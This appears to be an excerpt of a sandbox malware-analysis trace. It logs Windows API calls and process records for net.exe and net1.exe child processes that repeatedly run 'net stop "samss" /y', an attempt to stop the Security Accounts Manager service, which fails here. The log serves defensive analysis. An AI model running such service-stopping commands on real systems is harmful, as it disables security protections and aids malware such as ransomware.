	[0222.870] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xffb21efc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0xaf5a0, lpReserved=0x0 | out: lpBuffer=0xffb21efc*, lpNumberOfCharsWritten=0xaf5a0*=0x2) returned 1
	[0222.871] _ultow (in: _Dest=0x88f, _Radix=718352 | out: _Dest=0x88f) returned="2191"
	[0222.871] FormatMessageW (in: dwFlags=0x2800, lpSource=0x74570000, dwMessageId=0xdba, dwLanguageId=0x0, lpBuffer=0xffb45b50, nSize=0x800, Arguments=0xffb47f90 | out: lpBuffer="More help is available by typing NET HELPMSG 2191.\r\n") returned 0x34
	[0222.872] GetFileType (hFile=0xb) returned 0x2
	[0222.873] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0xaf5a8 | out: lpMode=0xaf5a8) returned 1
	[0222.873] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xffb45b50*, nNumberOfCharsToWrite=0x34, lpNumberOfCharsWritten=0xaf5a0, lpReserved=0x0 | out: lpBuffer=0xffb45b50*, lpNumberOfCharsWritten=0xaf5a0*=0x34) returned 1
	[0222.874] GetFileType (hFile=0xb) returned 0x2
	[0222.875] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0xaf5a8 | out: lpMode=0xaf5a8) returned 1
	[0222.875] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xffb21efc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0xaf5a0, lpReserved=0x0 | out: lpBuffer=0xffb21efc*, lpNumberOfCharsWritten=0xaf5a0*=0x2) returned 1
	[0222.877] NetApiBufferFree (Buffer=0xf4d40) returned 0x0
	[0222.877] NetApiBufferFree (Buffer=0xfc0e0) returned 0x0
	[0222.877] GetCommandLineW () returned="C:\\Windows\\system32\\net1 stop \"samss\" /y"
	[0222.877] exit (_Code=2) 

Process:
	id = "70"
	image_name = "net.exe"
	filename = "c:\\windows\\system32\\net.exe"
	page_root = "0x73987000"
	os_pid = "0x2e1c"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0xb98"
	cmd_line = "\"C:\\Windows\\System32\\net.exe\" stop \"samss\" /y"
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 2612
	os_tid = 0x2e20


Process:
	id = "71"
	image_name = "net.exe"
	filename = "c:\\windows\\system32\\net.exe"
	page_root = "0x2774000"
	os_pid = "0x2e48"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "4"
	os_parent_pid = "0x434"
	cmd_line = "\"C:\\Windows\\System32\\net.exe\" stop \"samss\" /y"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 2622
	os_tid = 0x2e4c


Process:
	id = "72"
	image_name = "net.exe"
	filename = "c:\\windows\\system32\\net.exe"
	page_root = "0xbaec000"
	os_pid = "0x3104"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0xb98"
	cmd_line = "\"C:\\Windows\\System32\\net.exe\" stop \"samss\" /y"
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 2803
	os_tid = 0x3108


Process:
	id = "73"
	image_name = "net1.exe"
	filename = "c:\\windows\\system32\\net1.exe"
	page_root = "0xb731000"
	os_pid = "0x310c"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "70"
	os_parent_pid = "0x2e1c"
	cmd_line = "C:\\Windows\\system32\\net1 stop \"samss\" /y"
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 2804
	os_tid = 0x3110

	[0244.980] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x22fdd0 | out: lpSystemTimeAsFileTime=0x22fdd0*(dwLowDateTime=0x62002c50, dwHighDateTime=0x1d5cdef)) 
	[0244.980] GetCurrentProcessId () returned 0x310c
	[0244.980] GetCurrentThreadId () returned 0x3110
	[0244.980] GetTickCount () returned 0x11827dc
	[0244.980] QueryPerformanceCounter (in: lpPerformanceCount=0x22fdd8 | out: lpPerformanceCount=0x22fdd8*=38673298071) returned 1
	[0244.981] GetModuleHandleW (lpModuleName=0x0) returned 0xff370000
	[0244.981] __set_app_type (_Type=0x1) 
	[0244.981] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff389c9c) returned 0x0
	[0245.391] __getmainargs (in: _Argc=0xff394780, _Argv=0xff394790, _Env=0xff394788, _DoWildCard=0, _StartInfo=0xff39479c | out: _Argc=0xff394780, _Argv=0xff394790, _Env=0xff394788) returned 0
	[0245.392] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0245.392] GetConsoleOutputCP () returned 0x1b5
	[0245.393] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xff39cec0 | out: lpCPInfo=0xff39cec0) returned 1
	[0245.393] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0245.398] sprintf_s (in: _DstBuf=0x22fd78, _DstSize=0xc, _Format=".%u" | out: _DstBuf=".437") returned 4
	[0245.399] setlocale (category=0, locale=".437") returned="English_United States.437"
	[0245.403] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
	[0245.403] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb
	[0245.403] GetCommandLineW () returned="C:\\Windows\\system32\\net1 stop \"samss\" /y"
	[0245.404] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x22fb10, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\net1.exe" (normalized: "c:\\windows\\system32\\net1.exe")) returned 0x1c
	[0245.404] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x0, Size=0x6e) returned 0x37c060
	[0245.404] _wcsnicmp (_String1="/Y", _String2="/y", _MaxCount=0x2) returned 0
	[0245.405] NetApiBufferAllocate (in: ByteCount=0x18, Buffer=0x22fd68 | out: Buffer=0x22fd68*=0x374d40) returned 0x0
	[0245.405] NetApiBufferAllocate (in: ByteCount=0x18, Buffer=0x22fd68 | out: Buffer=0x22fd68*=0x37c0e0) returned 0x0
	[0245.405] _fileno (_File=0x7fefe122a80) returned 0
	[0245.405] _setmode (_FileHandle=0, _Mode=16384) returned 16384
	[0245.406] _wcsicmp (_String1="accounts", _String2="stop") returned -18
	[0245.406] _wcsicmp (_String1="computer", _String2="stop") returned -16
	[0245.406] _wcsicmp (_String1="config", _String2="stop") returned -16
	[0245.406] _wcsicmp (_String1="continue", _String2="stop") returned -16
	[0245.406] _wcsicmp (_String1="cont", _String2="stop") returned -16
	[0245.406] _wcsicmp (_String1="file", _String2="stop") returned -13
	[0245.406] _wcsicmp (_String1="files", _String2="stop") returned -13
	[0245.406] _wcsicmp (_String1="group", _String2="stop") returned -12
	[0245.406] _wcsicmp (_String1="groups", _String2="stop") returned -12
	[0245.406] _wcsicmp (_String1="help", _String2="stop") returned -11
	[0245.406] _wcsicmp (_String1="helpmsg", _String2="stop") returned -11
	[0245.406] _wcsicmp (_String1="localgroup", _String2="stop") returned -7
	[0245.406] _wcsicmp (_String1="pause", _String2="stop") returned -3
	[0245.406] _wcsicmp (_String1="session", _String2="stop") returned -15
	[0245.406] _wcsicmp (_String1="sessions", _String2="stop") returned -15
	[0245.407] _wcsicmp (_String1="sess", _String2="stop") returned -15
	[0245.407] _wcsicmp (_String1="share", _String2="stop") returned -12
	[0245.407] _wcsicmp (_String1="start", _String2="stop") returned -14
	[0245.407] _wcsicmp (_String1="stats", _String2="stop") returned -14
	[0245.407] _wcsicmp (_String1="statistics", _String2="stop") returned -14
	[0245.407] _wcsicmp (_String1="stop", _String2="stop") returned 0
	[0245.407] _wcsicmp (_String1="accounts", _String2="samss") returned -18
	[0245.407] _wcsicmp (_String1="computer", _String2="samss") returned -16
	[0245.407] _wcsicmp (_String1="config", _String2="samss") returned -16
	[0245.407] _wcsicmp (_String1="continue", _String2="samss") returned -16
	[0245.407] _wcsicmp (_String1="cont", _String2="samss") returned -16
	[0245.407] _wcsicmp (_String1="file", _String2="samss") returned -13
	[0245.407] _wcsicmp (_String1="files", _String2="samss") returned -13
	[0245.408] _wcsicmp (_String1="group", _String2="samss") returned -12
	[0245.408] _wcsicmp (_String1="groups", _String2="samss") returned -12
	[0245.408] _wcsicmp (_String1="help", _String2="samss") returned -11
	[0245.408] _wcsicmp (_String1="helpmsg", _String2="samss") returned -11
	[0245.408] _wcsicmp (_String1="localgroup", _String2="samss") returned -7
	[0245.408] _wcsicmp (_String1="pause", _String2="samss") returned -3
	[0245.408] _wcsicmp (_String1="session", _String2="samss") returned 4
	[0245.408] _wcsicmp (_String1="sessions", _String2="samss") returned 4
	[0245.408] _wcsicmp (_String1="sess", _String2="samss") returned 4
	[0245.408] _wcsicmp (_String1="share", _String2="samss") returned 7
	[0245.408] _wcsicmp (_String1="start", _String2="samss") returned 19
	[0245.408] _wcsicmp (_String1="stats", _String2="samss") returned 19
	[0245.408] _wcsicmp (_String1="statistics", _String2="samss") returned 19
	[0245.408] _wcsicmp (_String1="stop", _String2="samss") returned 19
	[0245.409] _wcsicmp (_String1="time", _String2="samss") returned 1
	[0245.409] _wcsicmp (_String1="user", _String2="samss") returned 2
	[0245.409] _wcsicmp (_String1="users", _String2="samss") returned 2
	[0245.409] _wcsicmp (_String1="msg", _String2="samss") returned -6
	[0245.409] _wcsicmp (_String1="messenger", _String2="samss") returned -6
	[0245.409] _wcsicmp (_String1="receiver", _String2="samss") returned -1
	[0245.409] _wcsicmp (_String1="rcv", _String2="samss") returned -1
	[0245.409] _wcsicmp (_String1="netpopup", _String2="samss") returned -5
	[0245.409] _wcsicmp (_String1="redirector", _String2="samss") returned -1
	[0245.409] _wcsicmp (_String1="redir", _String2="samss") returned -1
	[0245.409] _wcsicmp (_String1="rdr", _String2="samss") returned -1
	[0245.409] _wcsicmp (_String1="workstation", _String2="samss") returned 4
	[0245.409] _wcsicmp (_String1="work", _String2="samss") returned 4
	[0245.410] _wcsicmp (_String1="wksta", _String2="samss") returned 4
	[0245.410] _wcsicmp (_String1="prdr", _String2="samss") returned -3
	[0245.410] _wcsicmp (_String1="devrdr", _String2="samss") returned -15
	[0245.410] _wcsicmp (_String1="lanmanworkstation", _String2="samss") returned -7
	[0245.410] _wcsicmp (_String1="server", _String2="samss") returned 4
	[0245.410] _wcsicmp (_String1="svr", _String2="samss") returned 21
	[0245.410] _wcsicmp (_String1="srv", _String2="samss") returned 17
	[0245.410] _wcsicmp (_String1="lanmanserver", _String2="samss") returned -7
	[0245.410] _wcsicmp (_String1="alerter", _String2="samss") returned -18
	[0245.410] _wcsicmp (_String1="netlogon", _String2="samss") returned -5
	[0245.411] _wcsupr (in: _String="samss" | out: _String="SAMSS") returned="SAMSS"
	[0245.412] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x80000000) returned 0x37cdf0
	[0245.426] GetServiceKeyNameW (in: hSCManager=0x37cdf0, lpDisplayName="SAMSS", lpServiceName=0xff395750, lpcchBuffer=0x22fc88 | out: lpServiceName="", lpcchBuffer=0x22fc88) returned 0
	[0245.603] _wcsicmp (_String1="msg", _String2="SAMSS") returned -6
	[0245.603] _wcsicmp (_String1="messenger", _String2="SAMSS") returned -6
	[0245.604] _wcsicmp (_String1="receiver", _String2="SAMSS") returned -1
	[0245.604] _wcsicmp (_String1="rcv", _String2="SAMSS") returned -1
	[0245.604] _wcsicmp (_String1="redirector", _String2="SAMSS") returned -1
	[0245.604] _wcsicmp (_String1="redir", _String2="SAMSS") returned -1
	[0245.604] _wcsicmp (_String1="rdr", _String2="SAMSS") returned -1
	[0245.604] _wcsicmp (_String1="workstation", _String2="SAMSS") returned 4
	[0245.604] _wcsicmp (_String1="work", _String2="SAMSS") returned 4
	[0245.604] _wcsicmp (_String1="wksta", _String2="SAMSS") returned 4
	[0245.604] _wcsicmp (_String1="prdr", _String2="SAMSS") returned -3
	[0245.604] _wcsicmp (_String1="devrdr", _String2="SAMSS") returned -15
	[0245.604] _wcsicmp (_String1="lanmanworkstation", _String2="SAMSS") returned -7
	[0245.604] _wcsicmp (_String1="server", _String2="SAMSS") returned 4
	[0245.604] _wcsicmp (_String1="svr", _String2="SAMSS") returned 21
	[0245.604] _wcsicmp (_String1="srv", _String2="SAMSS") returned 17
	[0245.605] _wcsicmp (_String1="lanmanserver", _String2="SAMSS") returned -7
	[0245.605] _wcsicmp (_String1="alerter", _String2="SAMSS") returned -18
	[0245.605] _wcsicmp (_String1="netlogon", _String2="SAMSS") returned -5
	[0245.605] NetServiceControl (in: servername=0x0, service="SAMSS", opcode=0x0, arg=0x0, bufptr=0x22fc90 | out: bufptr=0x22fc90) returned 0x0
	[0245.613] NetApiBufferAllocate (in: ByteCount=0xfa0, Buffer=0x22fc48 | out: Buffer=0x22fc48*=0x380c70) returned 0x0
	[0245.613] OpenServiceW (hSCManager=0x37cdf0, lpServiceName="SAMSS", dwDesiredAccess=0xc) returned 0x37ce50
	[0245.614] QueryServiceStatus (in: hService=0x37ce50, lpServiceStatus=0x22fbf0 | out: lpServiceStatus=0x22fbf0*(dwServiceType=0x20, dwCurrentState=0x4, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1
	[0245.614] NetApiBufferFree (Buffer=0x380c70) returned 0x0
	[0245.614] CloseServiceHandle (hSCObject=0x37ce50) returned 1
	[0245.615] wcscpy_s (in: _Destination=0xff3980d0, _SizeInWords=0x104, _Source="NETMSG" | out: _Destination="NETMSG") returned 0x0
	[0245.615] LoadLibraryW (lpLibFileName="NETMSG") returned 0x74580000
	[0245.619] FormatMessageW (in: dwFlags=0x2a00, lpSource=0x74580000, dwMessageId=0x88f, dwLanguageId=0x0, lpBuffer=0xff395b50, nSize=0x800, Arguments=0xff397f90 | out: lpBuffer="The requested pause, continue, or stop is not valid for this service.\r\n") returned 0x47
	[0245.624] GetFileType (hFile=0xb) returned 0x2
	[0245.625] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x22fae8 | out: lpMode=0x22fae8) returned 1
	[0245.626] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xff395b50*, nNumberOfCharsToWrite=0x47, lpNumberOfCharsWritten=0x22fae0, lpReserved=0x0 | out: lpBuffer=0xff395b50*, lpNumberOfCharsWritten=0x22fae0*=0x47) returned 1
	[0245.627] GetFileType (hFile=0xb) returned 0x2
	[0245.627] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x22fae8 | out: lpMode=0x22fae8) returned 1
	[0245.628] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xff371efc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x22fae0, lpReserved=0x0 | out: lpBuffer=0xff371efc*, lpNumberOfCharsWritten=0x22fae0*=0x2) returned 1
	[0245.629] _ultow (in: _Dest=0x88f, _Radix=2292560 | out: _Dest=0x88f) returned="2191"
	[0245.629] FormatMessageW (in: dwFlags=0x2800, lpSource=0x74580000, dwMessageId=0xdba, dwLanguageId=0x0, lpBuffer=0xff395b50, nSize=0x800, Arguments=0xff397f90 | out: lpBuffer="More help is available by typing NET HELPMSG 2191.\r\n") returned 0x34
	[0245.629] GetFileType (hFile=0xb) returned 0x2
	[0245.630] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x22fae8 | out: lpMode=0x22fae8) returned 1
	[0245.631] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xff395b50*, nNumberOfCharsToWrite=0x34, lpNumberOfCharsWritten=0x22fae0, lpReserved=0x0 | out: lpBuffer=0xff395b50*, lpNumberOfCharsWritten=0x22fae0*=0x34) returned 1
	[0245.631] GetFileType (hFile=0xb) returned 0x2
	[0245.632] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x22fae8 | out: lpMode=0x22fae8) returned 1
	[0245.633] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xff371efc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x22fae0, lpReserved=0x0 | out: lpBuffer=0xff371efc*, lpNumberOfCharsWritten=0x22fae0*=0x2) returned 1
	[0245.634] NetApiBufferFree (Buffer=0x374d40) returned 0x0
	[0245.634] NetApiBufferFree (Buffer=0x37c0e0) returned 0x0
	[0245.634] GetCommandLineW () returned="C:\\Windows\\system32\\net1 stop \"samss\" /y"
	[0245.634] exit (_Code=2) 

Process:
	id = "74"
	image_name = "net1.exe"
	filename = "c:\\windows\\system32\\net1.exe"
	page_root = "0xaf92000"
	os_pid = "0x3114"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "71"
	os_parent_pid = "0x2e48"
	cmd_line = "C:\\Windows\\system32\\net1 stop \"samss\" /y"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 2810
	os_tid = 0x3118

	[0247.535] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x14f910 | out: lpSystemTimeAsFileTime=0x14f910*(dwLowDateTime=0x63868dd0, dwHighDateTime=0x1d5cdef)) 
	[0247.535] GetCurrentProcessId () returned 0x3114
	[0247.535] GetCurrentThreadId () returned 0x3118
	[0247.535] GetTickCount () returned 0x11831da
	[0247.535] QueryPerformanceCounter (in: lpPerformanceCount=0x14f918 | out: lpPerformanceCount=0x14f918*=38928843096) returned 1
	[0247.542] GetModuleHandleW (lpModuleName=0x0) returned 0xff370000
	[0247.542] __set_app_type (_Type=0x1) 
	[0247.542] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff389c9c) returned 0x0
	[0247.543] __getmainargs (in: _Argc=0xff394780, _Argv=0xff394790, _Env=0xff394788, _DoWildCard=0, _StartInfo=0xff39479c | out: _Argc=0xff394780, _Argv=0xff394790, _Env=0xff394788) returned 0
	[0247.543] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0247.543] GetConsoleOutputCP () returned 0x1b5
	[0248.032] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xff39cec0 | out: lpCPInfo=0xff39cec0) returned 1
	[0248.032] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0248.041] sprintf_s (in: _DstBuf=0x14f8b8, _DstSize=0xc, _Format=".%u" | out: _DstBuf=".437") returned 4
	[0248.042] setlocale (category=0, locale=".437") returned="English_United States.437"
	[0248.047] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
	[0248.047] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb
	[0248.047] GetCommandLineW () returned="C:\\Windows\\system32\\net1 stop \"samss\" /y"
	[0248.047] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x14f650, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\net1.exe" (normalized: "c:\\windows\\system32\\net1.exe")) returned 0x1c
	[0248.047] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x0, Size=0x6e) returned 0x32c060
	[0248.048] _wcsnicmp (_String1="/Y", _String2="/y", _MaxCount=0x2) returned 0
	[0248.048] NetApiBufferAllocate (in: ByteCount=0x18, Buffer=0x14f8a8 | out: Buffer=0x14f8a8*=0x324d40) returned 0x0
	[0248.048] NetApiBufferAllocate (in: ByteCount=0x18, Buffer=0x14f8a8 | out: Buffer=0x14f8a8*=0x32c0e0) returned 0x0
	[0248.048] _fileno (_File=0x7fefe122a80) returned 0
	[0248.049] _setmode (_FileHandle=0, _Mode=16384) returned 16384
	[0248.049] _wcsicmp (_String1="accounts", _String2="stop") returned -18
	[0248.049] _wcsicmp (_String1="computer", _String2="stop") returned -16
	[0248.049] _wcsicmp (_String1="config", _String2="stop") returned -16
	[0248.050] _wcsicmp (_String1="continue", _String2="stop") returned -16
	[0248.050] _wcsicmp (_String1="cont", _String2="stop") returned -16
	[0248.050] _wcsicmp (_String1="file", _String2="stop") returned -13
	[0248.050] _wcsicmp (_String1="files", _String2="stop") returned -13
	[0248.050] _wcsicmp (_String1="group", _String2="stop") returned -12
	[0248.050] _wcsicmp (_String1="groups", _String2="stop") returned -12
	[0248.050] _wcsicmp (_String1="help", _String2="stop") returned -11
	[0248.050] _wcsicmp (_String1="helpmsg", _String2="stop") returned -11
	[0248.050] _wcsicmp (_String1="localgroup", _String2="stop") returned -7
	[0248.050] _wcsicmp (_String1="pause", _String2="stop") returned -3
	[0248.050] _wcsicmp (_String1="session", _String2="stop") returned -15
	[0248.050] _wcsicmp (_String1="sessions", _String2="stop") returned -15
	[0248.050] _wcsicmp (_String1="sess", _String2="stop") returned -15
	[0248.050] _wcsicmp (_String1="share", _String2="stop") returned -12
	[0248.050] _wcsicmp (_String1="start", _String2="stop") returned -14
	[0248.051] _wcsicmp (_String1="stats", _String2="stop") returned -14
	[0248.051] _wcsicmp (_String1="statistics", _String2="stop") returned -14
	[0248.051] _wcsicmp (_String1="stop", _String2="stop") returned 0
	[0248.051] _wcsicmp (_String1="accounts", _String2="samss") returned -18
	[0248.051] _wcsicmp (_String1="computer", _String2="samss") returned -16
	[0248.051] _wcsicmp (_String1="config", _String2="samss") returned -16
	[0248.051] _wcsicmp (_String1="continue", _String2="samss") returned -16
	[0248.051] _wcsicmp (_String1="cont", _String2="samss") returned -16
	[0248.051] _wcsicmp (_String1="file", _String2="samss") returned -13
	[0248.051] _wcsicmp (_String1="files", _String2="samss") returned -13
	[0248.051] _wcsicmp (_String1="group", _String2="samss") returned -12
	[0248.052] _wcsicmp (_String1="groups", _String2="samss") returned -12
	[0248.052] _wcsicmp (_String1="help", _String2="samss") returned -11
	[0248.052] _wcsicmp (_String1="helpmsg", _String2="samss") returned -11
	[0248.052] _wcsicmp (_String1="localgroup", _String2="samss") returned -7
	[0248.052] _wcsicmp (_String1="pause", _String2="samss") returned -3
	[0248.052] _wcsicmp (_String1="session", _String2="samss") returned 4
	[0248.052] _wcsicmp (_String1="sessions", _String2="samss") returned 4
	[0248.052] _wcsicmp (_String1="sess", _String2="samss") returned 4
	[0248.052] _wcsicmp (_String1="share", _String2="samss") returned 7
	[0248.052] _wcsicmp (_String1="start", _String2="samss") returned 19
	[0248.052] _wcsicmp (_String1="stats", _String2="samss") returned 19
	[0248.052] _wcsicmp (_String1="statistics", _String2="samss") returned 19
	[0248.052] _wcsicmp (_String1="stop", _String2="samss") returned 19
	[0248.053] _wcsicmp (_String1="time", _String2="samss") returned 1
	[0248.053] _wcsicmp (_String1="user", _String2="samss") returned 2
	[0248.053] _wcsicmp (_String1="users", _String2="samss") returned 2
	[0248.053] _wcsicmp (_String1="msg", _String2="samss") returned -6
	[0248.053] _wcsicmp (_String1="messenger", _String2="samss") returned -6
	[0248.053] _wcsicmp (_String1="receiver", _String2="samss") returned -1
	[0248.053] _wcsicmp (_String1="rcv", _String2="samss") returned -1
	[0248.053] _wcsicmp (_String1="netpopup", _String2="samss") returned -5
	[0248.053] _wcsicmp (_String1="redirector", _String2="samss") returned -1
	[0248.053] _wcsicmp (_String1="redir", _String2="samss") returned -1
	[0248.053] _wcsicmp (_String1="rdr", _String2="samss") returned -1
	[0248.053] _wcsicmp (_String1="workstation", _String2="samss") returned 4
	[0248.054] _wcsicmp (_String1="work", _String2="samss") returned 4
	[0248.054] _wcsicmp (_String1="wksta", _String2="samss") returned 4
	[0248.054] _wcsicmp (_String1="prdr", _String2="samss") returned -3
	[0248.054] _wcsicmp (_String1="devrdr", _String2="samss") returned -15
	[0248.054] _wcsicmp (_String1="lanmanworkstation", _String2="samss") returned -7
	[0248.054] _wcsicmp (_String1="server", _String2="samss") returned 4
	[0248.054] _wcsicmp (_String1="svr", _String2="samss") returned 21
	[0248.054] _wcsicmp (_String1="srv", _String2="samss") returned 17
	[0248.054] _wcsicmp (_String1="lanmanserver", _String2="samss") returned -7
	[0248.054] _wcsicmp (_String1="alerter", _String2="samss") returned -18
	[0248.054] _wcsicmp (_String1="netlogon", _String2="samss") returned -5
	[0248.055] _wcsupr (in: _String="samss" | out: _String="SAMSS") returned="SAMSS"
	[0248.056] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x80000000) returned 0x32cdf0
	[0248.457] GetServiceKeyNameW (in: hSCManager=0x32cdf0, lpDisplayName="SAMSS", lpServiceName=0xff395750, lpcchBuffer=0x14f7c8 | out: lpServiceName="", lpcchBuffer=0x14f7c8) returned 0
	[0248.459] _wcsicmp (_String1="msg", _String2="SAMSS") returned -6
	[0248.459] _wcsicmp (_String1="messenger", _String2="SAMSS") returned -6
	[0248.460] _wcsicmp (_String1="receiver", _String2="SAMSS") returned -1
	[0248.460] _wcsicmp (_String1="rcv", _String2="SAMSS") returned -1
	[0248.460] _wcsicmp (_String1="redirector", _String2="SAMSS") returned -1
	[0248.460] _wcsicmp (_String1="redir", _String2="SAMSS") returned -1
	[0248.460] _wcsicmp (_String1="rdr", _String2="SAMSS") returned -1
	[0248.460] _wcsicmp (_String1="workstation", _String2="SAMSS") returned 4
	[0248.460] _wcsicmp (_String1="work", _String2="SAMSS") returned 4
	[0248.460] _wcsicmp (_String1="wksta", _String2="SAMSS") returned 4
	[0248.460] _wcsicmp (_String1="prdr", _String2="SAMSS") returned -3
	[0248.460] _wcsicmp (_String1="devrdr", _String2="SAMSS") returned -15
	[0248.460] _wcsicmp (_String1="lanmanworkstation", _String2="SAMSS") returned -7
	[0248.460] _wcsicmp (_String1="server", _String2="SAMSS") returned 4
	[0248.460] _wcsicmp (_String1="svr", _String2="SAMSS") returned 21
	[0248.460] _wcsicmp (_String1="srv", _String2="SAMSS") returned 17
	[0248.461] _wcsicmp (_String1="lanmanserver", _String2="SAMSS") returned -7
	[0248.461] _wcsicmp (_String1="alerter", _String2="SAMSS") returned -18
	[0248.461] _wcsicmp (_String1="netlogon", _String2="SAMSS") returned -5
	[0248.461] NetServiceControl (in: servername=0x0, service="SAMSS", opcode=0x0, arg=0x0, bufptr=0x14f7d0 | out: bufptr=0x14f7d0) returned 0x0
	[0248.467] NetApiBufferAllocate (in: ByteCount=0xfa0, Buffer=0x14f788 | out: Buffer=0x14f788*=0x330c70) returned 0x0
	[0248.467] OpenServiceW (hSCManager=0x32cdf0, lpServiceName="SAMSS", dwDesiredAccess=0xc) returned 0x32ce50
	[0248.467] QueryServiceStatus (in: hService=0x32ce50, lpServiceStatus=0x14f730 | out: lpServiceStatus=0x14f730*(dwServiceType=0x20, dwCurrentState=0x4, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1
